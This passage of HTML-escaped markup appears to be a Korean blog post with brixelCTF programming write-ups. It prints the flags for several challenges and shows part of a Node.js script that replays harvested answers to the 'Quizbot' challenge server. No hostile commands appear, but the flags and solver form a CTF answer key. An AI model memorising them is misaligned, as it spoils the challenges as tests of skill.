#ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;r&amp;nbsp;=&amp;nbsp;x*x&amp;nbsp;+&amp;nbsp;r&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;x&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;print&lt;/span&gt;(r)&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: 48373851&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Programming :: A song...&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 텍스트 파일을 Rockstar로 돌리면 문자열(플래그)이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{&amp;nbsp;5&amp;nbsp;66&amp;nbsp;7236&amp;nbsp;34&amp;nbsp;66&amp;nbsp;14&amp;nbsp;}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Programming :: An arduino project&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;setup&lt;/code&gt; 함수의 주석을 보면 7 Segment Display에 2~9번 핀이 연결되어있다는 것을 눈치챌 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tinkercad에서 시뮬레이션해서 숫자를 뽑았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ThcAZ/btqROd1zgMy/LPmHFI86P0KfK1Ct5Qhk70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ThcAZ/btqROd1zgMy/LPmHFI86P0KfK1Ct5Qhk70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ThcAZ/btqROd1zgMy/LPmHFI86P0KfK1Ct5Qhk70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FThcAZ%2FbtqROd1zgMy%2FLPmHFI86P0KfK1Ct5Qhk70%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: 406798190332&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Programming :: Quizbot&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 순서가 똑같기 때문에 먼저 이상한 답을 넣어서 정답을 쭉 받아온 뒤 새로운 세션에서 정답을 1000개 넣으면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;br /&gt;32&lt;br /&gt;33&lt;br /&gt;34&lt;br /&gt;35&lt;br /&gt;36&lt;br /&gt;37&lt;br /&gt;38&lt;br /&gt;39&lt;br /&gt;40&lt;br /&gt;41&lt;br /&gt;42&lt;br /&gt;43&lt;br /&gt;44&lt;br /&gt;45&lt;br /&gt;46&lt;br /&gt;47&lt;br /&gt;48&lt;br /&gt;49&lt;br /&gt;50&lt;br /&gt;51&lt;br /&gt;52&lt;br /&gt;53&lt;br /&gt;54&lt;br /&gt;55&lt;br /&gt;56&lt;br /&gt;57&lt;br /&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;br /&gt;62&lt;br /&gt;63&lt;br /&gt;64&lt;br /&gt;65&lt;br /&gt;66&lt;br /&gt;67&lt;br /&gt;68&lt;br /&gt;69&lt;br /&gt;70&lt;br /&gt;71&lt;br /&gt;72&lt;br /&gt;73&lt;br /&gt;74&lt;br /&gt;75&lt;br /&gt;76&lt;br /&gt;77&lt;br /&gt;78&lt;br /&gt;79&lt;br /&gt;80&lt;br /&gt;81&lt;br /&gt;82&lt;br /&gt;83&lt;br /&gt;84&lt;br /&gt;85&lt;br /&gt;86&lt;br /&gt;87&lt;br /&gt;88&lt;br /&gt;89&lt;br /&gt;90&lt;br /&gt;91&lt;br /&gt;92&lt;br /&gt;93&lt;br /&gt;94&lt;br /&gt;95&lt;br /&gt;96&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;require&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'request'&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;cheerio&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;require&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'cheerio'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;URL&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'http://timesink.be/quizbot/index.php'&lt;/span&gt;;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;jar&lt;/span&gt;();&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answers&lt;/span&gt;&amp;nbsp;=&amp;nbsp;[];&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;InitConnection&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Promise&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;resolve&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;reject&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;get&lt;/span&gt;(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;url&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;URL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;jar&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;res&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #729db3;&quot;&gt;body&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;reject&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;res&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;statusCode&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;200&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;reject&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;res&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;statusCode&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;resolve&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;SubmitAnswer&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;index&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;submit&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Promise&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;resolve&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;reject&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;post&lt;/span&gt;(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;url&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;URL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;jar&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;form&lt;/span&gt;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;insert_answer&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;submit&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;res&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;reject&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;res&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;statusCode&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;200&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;reject&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;res&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;statusCode&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;$&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;cheerio&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;load&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;$&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'#answer'&lt;/span&gt;).&lt;span style=&quot;color: #9cdcfe;&quot;&gt;length&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answer&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;$&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'#answer'&lt;/span&gt;).&lt;span style=&quot;color: #dcdcaa;&quot;&gt;html&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;resolve&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answer&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;index&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;999&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: 